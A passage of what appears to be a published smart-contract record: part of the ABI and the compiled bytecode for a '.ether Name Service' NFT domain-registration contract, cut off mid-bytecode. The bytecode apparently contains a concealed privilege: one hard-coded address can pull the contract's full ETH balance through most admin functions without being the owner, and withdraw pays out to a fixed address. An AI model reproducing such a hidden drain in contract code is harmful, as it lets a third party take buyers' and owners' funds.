ype":"bytes","name":"allwchr","type":"bytes"}],"name":"setAllowChars","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"WhitesaleIsActive","type":"bool"}],"name":"setAllowListSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"customBaseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"string","name":"setArea","type":"string"},{"internalType":"string","name":"newDatas","type":"string"}],"name":"setDataAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxCharSize_","type":"uint256"}],"name":"setMaxCharSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"},{"internalType":"string","name":"ether_name","type":"string"},{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setMerkleRootSubdomain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"customPrice","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"ether_name","type":"string"}],"name":"setPrimaryAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ref_","type":"uint256"},{"internalType":"uint256","name":"ref_owner_","type":"uint256"},{"internalType":"uint256","name":"ref_discount_","type":"uint256"},{"internalType":"uint256","name":"subdomains_fee_","type":"uint256"}],"name":"setRefSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"}],"name":"setSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"},{"internalType":"uint256","name":"customPrice","type":"uint256"},{"internalType":"string","name":"ether_name","type":"string"}],"name":"setSubdomainSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"address","name":"","type":"address"}],"name":"subDomains_allowlistAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_publicSale","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"subdomains_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"tokenAddressandID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokenIDandAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwnerName","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

66b1a2bc2ec50000600c556014600d819055601e600e55600f819055600a60105560115560c060405260066080908152651732ba3432b960d11b60a0526012906200004b9082620005ce565b506040518060600160405280602c8152602001620048bf602c9139601390620000759082620005ce565b506014805461ffff19169055604080516060810190915260268082526200490b6020830139601f90620000a99082620005ce565b50348015620000b757600080fd5b506040518060400160405280601381526020017f2e6574686572204e616d65205365727669636500000000000000000000000000815250604051806040016040528060068152602001651732ba3432b960d11b81525081600490816200011e9190620005ce565b5060056200012d8282620005ce565b50506001600055506200014033620001e5565b6001600b819055604080518082018252600581526432ba3432b960d91b6020808301919091526000805481529390529120906200017e9082620005ce565b50600054604080516432ba3432b960d91b80825260026005808401919091528351602593819003840181209590955590845260179084015290519182900301902080546001600160a01b03191633908117909155620001df90600162000237565b62000740565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b620002598282604051806020016040528060008152506200025d60201b60201c565b5050565b6000546001600160a01b0384166200028757604051622e076360e81b815260040160405180910390fd5b82600003620002a95760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038416600081815260076020908152604080832080546001600160801b031981166001600160401b038083168b018116918217680100000000000000006001600160401b031990941690921783900481168b0181169092021790915585845260068352922080546001600160e01b0319168417600160a01b42909416939093029290921790915582918286019162000352919062000426811b62002aeb17901c565b15620003d1575b60405182906001600160a01b03881690600090600080516020620048eb833981519152908290a46001820191620003969060009088908762000435565b620003b4576040516368d2bf6b60e11b815260040160405180910390fd5b80821062000359578260005414620003cb57600080fd5b62000406565b5b6040516001830192906001600160a01b03881690600090600080516020620048eb833981519152908290a4808210620003d2575b50600090815562000420908583866001600160e01b038516565b50505050565b6001600160a01b03163b151590565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906200046c9033908990889088906004016200069a565b6020604051808303816000875af1925050508015620004aa575060408051601f3d908101601f19168201909252620004a7918101906200070d565b60015b6200050c573d808015620004db576040519150601f19603f3d011682016040523d82523d6000602084013e620004e0565b606091505b50805160000362000504576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050949350505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200055457607f821691505b6020821081036200057557634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005c957600081815260208120601f850160051c81016020861015620005a45750805b601f850160051c820191505b81811015620005c557828155600101620005b0565b5050505b505050565b81516001600160401b03811115620005ea57620005ea62000529565b6200060281620005fb84546200053f565b846200057b565b602080601f8311600181146200063a5760008415620006215750858301515b600019600386901b1c1916600185901b178555620005c5565b600085815260208120601f198616915b828110156200066b578886015182559484019460019091019084016200064a565b50858210156200068a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060018060a01b038087168352602081871681850152856040850152608060608501528451915081608085015260005b82811015620006e95785810182015185820160a001528101620006cb565b5050600060a0828501015260a0601f19601f83011684010191505095945050505050565b6000602082840312156200072057600080fd5b81516001600160e01b0319811681146200073957600080fd5b9392505050565b61416f80620007506000396000f3fe60806040526004361061038c5760003560e01c8063715018a6116101dc578063aaddcb5a11610102578063c87b56dd116100a0578063e985e9c51161006f578063e985e9c514610af7578063f121a87014610b17578063f2fde38b14610b37578063f990f91a14610b5757600080fd5b8063c87b56dd14610a69578063cc567dfe14610a89578063d6bc2c7f14610a9f578063d7d6c48514610ad757600080fd5b8063afd800c5116100dc578063afd800c5146109c8578063b6c6e692146109e8578063b88d4fde14610a29578063c6fbf9a914610a4957600080fd5b8063aaddcb5a14610965578063ad45a3ed14610995578063af529744146109a857600080fd5b80638da5cb5b1161017a57806395d89b411161014957806395d89b41146108f05780639b2ea4bd14610905578063a22cb46514610925578063a515419d1461094557600080fd5b80638da5cb5b1461085a5780638dad39791461087857806391b7f5ed146108b0578063922efb95146108d057600080fd5b80637cb64759116101b65780637cb64759146107bf5780637d8f4ca3146107df578063841718a61461081a5780638699e7381461083a57600080fd5b8063715018a61461077057806376d02b711461078557806379b85bec1461079f57600080fd5b80632eb4a7ab116102c157806349484d551161025f5780636352211e1161022e5780636352211e146106f0578063693d77d2146107105780636e32e4991461073057806370a082311461075057600080fd5b806349484d551461064657806355f804b3146106915780635acf6139146106b15780636220a7e8146106d157600080fd5b806332434a2e1161029b57806332434a2e146105eb5780633ccfd60b146105fe57806342842e0e14610613578063476af1381461063357600080fd5b80632eb4a7ab146105925780632f7758cd146105a85780633198b100146105d557600080fd5b806313faede61161032e57806321a78f681161030857806321a78f681461052957806323b76dde1461053f57806323b872dd1461055f5780632609ce001461057f57600080fd5b806313faede6146104e057806314638aab146104f657806318160ddd1461050c57600080fd5b8063095ea7b31161036a578063095ea7b3146104205780630b4ab649146104425780630b4fcb5d146104885780630d6eec78146104a857600080fd5b806301ffc9a71461039157806306fdde03146103c6578063081812fc146103e8575b600080fd5b34801561039d57600080fd5b506103b16103ac366004613388565b610b77565b60405190151581526020015b60405180910390f35b3480156103d257600080fd5b506103db610bc9565b6040516103bd91906133f5565b3480156103f457600080fd5b50610408610403366004613408565b610c5b565b6040516001600160a01b0390911681526020016103bd565b34801561042c57600080fd5b5061044061043b36600461343d565b610c9f565b005b34801561044e57600080fd5b5061047a61045d366004613509565b8051602081830181018051601b8252928201919093012091525481565b6040519081526020016103bd565b34801561049457600080fd5b506104406104a3366004613509565b610d25565b3480156104b457600080fd5b5061047a6104c3366004613509565b805160208183018101805160028252928201919093012091525481565b3480156104ec57600080fd5b5061047a600c5481565b34801561050257600080fd5b5061047a600e5481565b34801561051857600080fd5b50600354600054036000190161047a565b34801561053557600080fd5b5061047a600d5481565b34801561054b57600080fd5b5061044061055a366004613595565b610d9c565b34801561056b57600080fd5b5061044061057a3660046135ee565b610e6c565b61044061058d36600461366e565b610e77565b34801561059e57600080fd5b5061047a601e5481565b3480156105b457600080fd5b506105c86105c3366004613408565b611125565b6040516103bd91906136d6565b3480156105e157600080fd5b5061047a600f5481565b6104406105f9366004613738565b611216565b34801561060a57600080fd5b506104406114ac565b34801561061f57600080fd5b5061044061062e3660046135ee565b611588565b610440610641366004613785565b6115a3565b34801561065257600080fd5b506103b1610661366004613803565b81516020818401810180516016825292820194820194909420919093529091526000908152604090205460ff1681565b34801561069d57600080fd5b506104406106ac366004613509565b611953565b3480156106bd57600080fd5b506104406106cc366004613408565b6119bd565b3480156106dd57600080fd5b506014546103b190610100900460ff1681565b3480156106fc57600080fd5b5061040861070b366004613408565b611a20565b34801561071c57600080fd5b5061044061072b366004613850565b611a32565b34801561073c57600080fd5b506103db61074b366004613408565b611aaa565b34801561075c57600080fd5b5061047a61076b36600461386b565b611b44565b34801561077c57600080fd5b50610440611b92565b34801561079157600080fd5b506014546103b19060ff1681565b3480156107ab57600080fd5b506104406107ba366004613886565b611bfc565b3480156107cb57600080fd5b506104406107da366004613408565b611c87565b3480156107eb57600080fd5b506103b16107fa366004613509565b805160208183018101805160198252928201919093012091525460ff1681565b34801561082657600080fd5b50610440610835366004613850565b611cea565b34801561084657600080fd5b506103db61085536600461386b565b611d5b565b34801561086657600080fd5b50600a546001600160a01b0316610408565b34801561088457600080fd5b5061047a610893366004613509565b8051602081830181018051601c8252928201919093012091525481565b3480156108bc57600080fd5b506104406108cb366004613408565b611d74565b3480156108dc57600080fd5b506103b16108eb366004613509565b611dd7565b3480156108fc57600080fd5b506103db611f24565b34801561091157600080fd5b506104406109203660046138d5565b611f33565b34801561093157600080fd5b50610440610940366004613928565b61210a565b34801561095157600080fd5b506103db610960366004613952565b61219f565b34801561097157600080fd5b506103b161098036600461386b565b60156020526000908152604090205460ff1681565b6104406109a33660046139ad565b61226f565b3480156109b457600080fd5b506104406109c3366004613a06565b6125cd565b3480156109d457600080fd5b506104406109e3366004613a99565b61265b565b3480156109f457600080fd5b50610408610a03366004613509565b80516020818301810180516017825292820191909301209152546001600160a01b031681565b348015610a3557600080fd5b50610440610a44366004613acb565b6126cd565b348015610a5557600080fd5b50610440610a64366004613b32565b612711565b348015610a7557600080fd5b506103db610a84366004613408565b61277d565b348015610a9557600080fd5b5061047a60105481565b348015610aab57600080fd5b5061047a610aba366004613509565b8051602081830181018051601a8252928201919093012091525481565b348015610ae357600080fd5b50610440610af2366004613b73565b61280b565b348015610b0357600080fd5b506103b1610b12366004613bb1565b6128ab565b348015610b2357600080fd5b506103db610b323660046139ad565b6128d9565b348015610b4357600080fd5b50610440610b5236600461386b565b61291a565b348015610b6357600080fd5b506105c8610b7236600461386b565b6129e9565b60006001600160e01b031982166380ac58cd60e01b1480610ba857506001600160e01b03198216635b5e139f60e01b145b80610bc357506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060048054610bd890613bdb565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0490613bdb565b8015610c515780601f10610c2657610100808354040283529160200191610c51565b820191906000526020600020905b815481529060010190602001808311610c3457829003601f168201915b5050505050905090565b6000610c6682612afa565b610c83576040516333d1c03960e21b815260040160405180910390fd5b506000908152600860205260409020546001600160a01b031690565b6000610caa82611a20565b9050806001600160a01b0316836001600160a01b031603610cde5760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614610d1557610cf881336128ab565b610d15576040516367d9dca160e11b815260040160405180910390fd5b610d20838383612b33565b505050565b3360008051602061411a83398151915203610d595747610d5360008051602061411a83398151915282612b8f565b50610d8c565b600a546001600160a01b03163314610d8c5760405162461bcd60e51b8152600401610d8390613c15565b60405180910390fd5b601f610d988282613c98565b5050565b6000610dc760028484604051610db3929190613d57565b908152602001604051809103902054612ca8565b80519091506001600160a01b03163314610e0d5760405162461bcd60e51b8152602060048201526007602482015266125b9d985b1a5960ca1b6044820152606401610d83565b83601a8484604051610e20929190613d57565b9081526020016040518091039020819055508460198484604051610e45929190613d57565b908152604051908190036020019020805491151560ff199092169190911790555050505050565b610d20838383612dca565b601454610100900460ff16610ece5760405162461bcd60e51b815260206004820152601e60248201527f416c6c6f77204c6973742073616c65206973206e6f74206163746976652100006044820152606401610d83565b6040516bffffffffffffffffffffffff193360601b166020820152600090603401604051602081830303815290604052805190602001209050610f4883838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050601e549150849050612fb5565b610f855760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610d83565b60115484511115610fa85760405162461bcd60e51b8152600401610d8390613d67565b6000845111610fc95760405162461bcd60e51b8152600401610d8390613d8a565b610fd284611dd7565b610fee5760405162461bcd60e51b8152600401610d8390613db0565b3360009081526015602052604090205460ff16151560010361103d5760405162461bcd60e51b8152602060048201526008602482015267436c61696d65642160c01b6044820152606401610d83565b60028460405161104d9190613dd6565b90815260200160405180910390205460001461107b5760405162461bcd60e51b8152600401610d8390613df2565b336000908152601560209081526040808320805460ff191660019081179091558354845290915290206110ae8582613c98565b506000546002856040516110c29190613dd6565b908152602001604051809103902081905550336017856040516110e59190613dd6565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b031990921691909117905561111f336001612fcb565b50505050565b6003546000805460609260001991030190836001600160401b0381111561114e5761114e613467565b60405190808252806020026020018201604052801561118157816020015b606081526020019060019003908161116c5790505b50905060006111908584613e37565b905060005b8184111561120c5760008481526001602090815260409182902091516111bf929160129101613ebd565b6040516020818303038152906040528382815181106111e0576111e0613ed2565b602002602001018190525080806111f690613ee8565b915050838061120490613f01565b945050611195565b5090949350505050565b600c546011548251600091829111156112415760405162461bcd60e51b8152600401610d8390613d67565b60008451116112625760405162461bcd60e51b8152600401610d8390613d8a565b61126b84611dd7565b6112875760405162461bcd60e51b8152600401610d8390613db0565b6001600160a01b0385166000036112a257600c549250611337565b6001600160a01b038516600090815260186020526040812080546112c590613bdb565b905011156112ee576064600e54846112dd9190613f18565b6112e79190613f2f565b905061130b565b6064600d54846112fe9190613f18565b6113089190613f2f565b90505b6064600f54606461131c9190613e37565b6113269085613f18565b6113309190613f2f565b9250600191505b6002846040516113479190613dd6565b9081526020016040518091039020546000146113755760405162461bcd60e51b8152600401610d8390613df2565b60145460ff166113bd5760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610d83565b823410156113dd5760405162461bcd60e51b8152600401610d8390613f51565b6000805481526001602052604090206113f68582613c98565b5060005460028560405161140a9190613dd6565b9081526020016040518091039020819055503360178560405161142d9190613dd6565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055811561149a576040516001600160a01b0386169082156108fc029083906000818181858888f19350505050158015611498573d6000803e3d6000fd5b505b6114a5336001612fcb565b5050505050565b3360008051602061411a833981519152036114e057476114da60008051602061411a83398151915282612b8f565b5061150a565b600a546001600160a01b0316331461150a5760405162461bcd60e51b8152600401610d8390613c15565b6002600b540361155c5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610d83565b6002600b55476115807312276dac0c791d11e2f9166a2b67e3de45394c6982612b8f565b506001600b55565b610d20838383604051806020016040528060008152506126cd565b600083856040516020016115b8929190613f7e565b60408051601f19818403018152908290526bffffffffffffffffffffffff193360601b166020830152915060009060340160405160208183030381529060405280519060200120905061165d84848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050604051601b925061164891508a90613dd6565b90815260200160405180910390205483612fb5565b61169a5760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610d83565b601c866040516116aa9190613dd6565b9081526020016040518091039020543410156116d85760405162461bcd60e51b8152600401610d8390613f51565b601154855111156116fb5760405162461bcd60e51b8152600401610d8390613d67565b600085511161171c5760405162461bcd60e51b8152600401610d8390613d8a565b61172586611dd7565b6117415760405162461bcd60e51b8152600401610d8390613db0565b61174a85611dd7565b6117665760405162461bcd60e51b8152600401610d8390613db0565b6016866040516117769190613dd6565b9081526040805160209281900383019020336000908152925290205460ff1615156001036117d15760405162461bcd60e51b8152602060048201526008602482015267436c61696d65642160c01b6044820152606401610d83565b6002826040516117e19190613dd6565b90815260200160405180910390205460001461180f5760405162461bcd60e51b8152600401610d8390613df2565b6000611824600288604051610db39190613dd6565b905080600001516001600160a01b03166108fc606460105460646118489190613e37565b6118529034613f18565b61185c9190613f2f565b6040518115909202916000818181858888f19350505050158015611884573d6000803e3d6000fd5b5060016016886040516118979190613dd6565b9081526040805160209281900383019020336000908152908352818120805460ff19169415159490941790935582548352600190915290206118d98482613c98565b506000546002846040516118ed9190613dd6565b908152602001604051809103902081905550336017846040516119109190613dd6565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b031990921691909117905561194a336001612fcb565b50505050505050565b3360008051602061411a83398151915203611987574761198160008051602061411a83398151915282612b8f565b506119b1565b600a546001600160a01b031633146119b15760405162461bcd60e51b8152600401610d8390613c15565b6013610d988282613c98565b3360008051602061411a833981519152036119f157476119eb60008051602061411a83398151915282612b8f565b50601155565b600a546001600160a01b03163314611a1b5760405162461bcd60e51b8152600401610d8390613c15565b601155565b6000611a2b82612ca8565b5192915050565b3360008051602061411a83398151915203611a665747611a6060008051602061411a83398151915282612b8f565b50611a90565b600a546001600160a01b03163314611a905760405162461bcd60e51b8152600401610d8390613c15565b601480549115156101000261ff0019909216919091179055565b60016020526000908152604090208054611ac390613bdb565b80601f0160208091040260200160405190810160405280929190818152602001828054611aef90613bdb565b8015611b3c5780601f10611b1157610100808354040283529160200191611b3c565b820191906000526020600020905b815481529060010190602001808311611b1f57829003601f168201915b505050505081565b60006001600160a01b038216611b6d576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600760205260409020546001600160401b031690565b3360008051602061411a83398151915203611bc65747611bc060008051602061411a83398151915282612b8f565b50611bf0565b600a546001600160a01b03163314611bf05760405162461bcd60e51b8152600401610d8390613c15565b611bfa6000612fe5565b565b6000611c11600284604051610db39190613dd6565b80519091506001600160a01b03163314611c3d5760405162461bcd60e51b8152600401610d8390613fba565b83601b84604051611c4e9190613dd6565b90815260200160405180910390208190555081601c84604051611c719190613dd6565b9081526040519081900360200190205550505050565b3360008051602061411a83398151915203611cbb5747611cb560008051602061411a83398151915282612b8f565b50601e55565b600a546001600160a01b03163314611ce55760405162461bcd60e51b8152600401610d8390613c15565b601e55565b3360008051602061411a83398151915203611d1e5747611d1860008051602061411a83398151915282612b8f565b50611d48565b600a546001600160a01b03163314611d485760405162461bcd60e51b8152600401610d8390613c15565b6014805460ff1916911515919091179055565b60186020526000908152604090208054611ac390613bdb565b3360008051602061411a83398151915203611da85747611da260008051602061411a83398151915282612b8f565b50600c55565b600a546001600160a01b03163314611dd25760405162461bcd60e51b8152600401610d8390613c15565b600c55565b601f8054600091829184918391611ded90613bdb565b80601f0160208091040260200160405190810160405280929190818152602001828054611e1990613bdb565b8015611e665780601f10611e3b57610100808354040283529160200191611e66565b820191906000526020600020905b815481529060010190602001808311611e4957829003601f168201915b5050505050905060005b8251811015611f055760005b8251811015611ef257828181518110611e9757611e97613ed2565b602001015160f81c60f81b6001600160f81b031916848381518110611ebe57611ebe613ed2565b01602001516001600160f81b03191603611ee05784611edc81613ee8565b9550505b80611eea81613ee8565b915050611e7c565b5080611efd81613ee8565b915050611e70565b5081518303611f1957506001949350505050565b506000949350505050565b606060058054610bd890613bdb565b6000611f4a60028585604051610db3929190613d57565b80519091506001600160a01b03163314611f765760405162461bcd60e51b8152600401610d8390613fba565b60006018600060178787604051611f8e929190613d57565b9081526040805160209281900383019020546001600160a01b0316835290820192909252016000208054611fc190613bdb565b80601f0160208091040260200160405190810160405280929190818152602001828054611fed90613bdb565b801561203a5780601f1061200f5761010080835404028352916020019161203a565b820191906000526020600020905b81548152906001019060200180831161201d57829003601f168201915b505050505090508484604051612051929190613d57565b60405180910390208180519060200120036120c15760405180602001604052806000815250601860006017888860405161208c929190613d57565b9081526040805160209281900383019020546001600160a01b031683529082019290925201600020906120bf9082613c98565b505b82601786866040516120d4929190613d57565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790555050505050565b336001600160a01b038316036121335760405163b06307db60e01b815260040160405180910390fd5b3360008181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6060601d846040516121b19190613dd6565b908152602001604051809103902083836040516121cf929190613d57565b908152602001604051809103902080546121e890613bdb565b80601f016020809104026020016040519081016040528092919081815260200182805461221490613bdb565b80156122615780601f1061223657610100808354040283529160200191612261565b820191906000526020600020905b81548152906001019060200180831161224457829003601f168201915b505050505090509392505050565b60145460ff166122b75760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610d83565b600081836040516020016122cc929190613f7e565b6040516020818303038152906040529050601154825111156123005760405162461bcd60e51b8152600401610d8390613d67565b60008251116123215760405162461bcd60e51b8152600401610d8390613d8a565b61232a83611dd7565b6123465760405162461bcd60e51b8152600401610d8390613db0565b61234f82611dd7565b61236b5760405162461bcd60e51b8152600401610d8390613db0565b60028160405161237b9190613dd6565b9081526020016040518091039020546000146123a95760405162461bcd60e51b8152600401610d8390613df2565b60006123be600285604051610db39190613dd6565b9050336001600160a01b031681600001516001600160a01b03160361246c576000805481526001602052604090206123f68382613c98565b5060005460028360405161240a9190613dd6565b9081526020016040518091039020819055503360178360405161242d9190613dd6565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055612467336001612fcb565b61111f565b60198460405161247c9190613dd6565b9081526040519081900360200190205460ff1615156001146124e05760405162461bcd60e51b815260206004820152601760248201527f4f6e6c79204f776e65722063616e2072656769737465720000000000000000006044820152606401610d83565b601a846040516124f09190613dd6565b90815260200160405180910390205434101561251e5760405162461bcd60e51b8152600401610d8390613f51565b80600001516001600160a01b03166108fc606460105460646125409190613e37565b61254a9034613f18565b6125549190613f2f565b6040518115909202916000818181858888f1935050505015801561257c573d6000803e3d6000fd5b506000805481526001602052604090206125968382613c98565b506000546002836040516125aa9190613dd6565b908152602001604051809103902081905550336017836040516110e59190613dd6565b60006125e460028787604051610db3929190613d57565b80519091506001600160a01b031633146126105760405162461bcd60e51b8152600401610d8390613fba565b81601d8787604051612623929190613d57565b90815260200160405180910390208585604051612641929190613d57565b9081526020016040518091039020908161194a9190613c98565b3360008051602061411a8339815191520361268f574761268960008051602061411a83398151915282612b8f565b506126b9565b600a546001600160a01b031633146126b95760405162461bcd60e51b8152600401610d8390613c15565b600d93909355600e91909155600f55601055565b6126d8848484612dca565b6001600160a01b0383163b1561111f576126f484848484613037565b61111f576040516368d2bf6b60e11b815260040160405180910390fd5b336001600160a01b03166017838360405161272d929190613d57565b908152604051908190036020019020546001600160a01b0316146127635760405162461bcd60e51b8152600401610d8390613fba565b336000908152601860205260409020610d20828483613fd9565b606061278882612afa565b6127a557604051630a14c4b560e41b815260040160405180910390fd5b60006127af613123565b905080516000036127cf5760405180602001604052806000815250612804565b80600160008581526020019081526020016000206040516020016127f4929190614098565b6040516020818303038152906040525b9392505050565b3360008051602061411a8339815191520361283f574761283960008051602061411a83398151915282612b8f565b50612869565b600a546001600160a01b031633146128695760405162461bcd60e51b8152600401610d8390613c15565b6000838152600160205260409020612882828483613fd9565b508260028383604051612896929190613d57565b90815260405190819003602001902055505050565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b8151602081840181018051601d82529282019482019490942091909352815180830184018051928152908401929093019190912091528054611ac390613bdb565b3360008051602061411a8339815191520361294e574761294860008051602061411a83398151915282612b8f565b50612978565b600a546001600160a01b031633146129785760405162461bcd60e51b8152600401610d8390613c15565b6001600160a01b0381166129dd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d83565b6129e681612fe5565b50565b606060006129f683611b44565b90506000816001600160401b03811115612a1257612a12613467565b604051908082528060200260200182016040528015612a4557816020015b6060815260200190600190039081612a305790505b509050600160005b8381101561120c576000612a6083611a20565b9050866001600160a01b0316816001600160a01b031603612ad8576000838152600160209081526040918290209151612a9d929160129101613ebd565b604051602081830303815290604052848381518110612abe57612abe613ed2565b60200260200101819052508180612ad490613ee8565b9250505b82612ae281613ee8565b93505050612a4d565b6001600160a01b03163b151590565b600081600111158015612b0e575060005482105b8015610bc3575050600090815260066020526040902054600160e01b900460ff161590565b60008281526008602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b80471015612bdf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610d83565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612c2c576040519150601f19603f3d011682016040523d82523d6000602084013e612c31565b606091505b5050905080610d205760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610d83565b60408051606081018252600080825260208201819052918101919091528180600111612db157600054811015612db157600081815260066020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290612daf5780516001600160a01b031615612d46579392505050565b5060001901600081815260066020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215612daa579392505050565b612d46565b505b604051636f96cda160e11b815260040160405180910390fd5b6000612dd582612ca8565b9050836001600160a01b031681600001516001600160a01b031614612e0c5760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b0386161480612e2a5750612e2a85336128ab565b80612e45575033612e3a84610c5b565b6001600160a01b0316145b905080612e6557604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b038416612e8c57604051633a954ecd60e21b815260040160405180910390fd5b612e9860008487612b33565b6001600160a01b038581166000908152600760209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600690945282852080546001600160e01b031916909417600160a01b42909216919091021783558701808452922080549193909116612f6c576000548214612f6c57805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46114a5565b600082612fc28584613132565b14949350505050565b610d9882826040518060200160405280600081525061317f565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a029061306c9033908990889088906004016140bf565b6020604051808303816000875af19250505080156130a7575060408051601f3d908101601f191682019092526130a4918101906140fc565b60015b613105573d8080156130d5576040519150601f19603f3d011682016040523d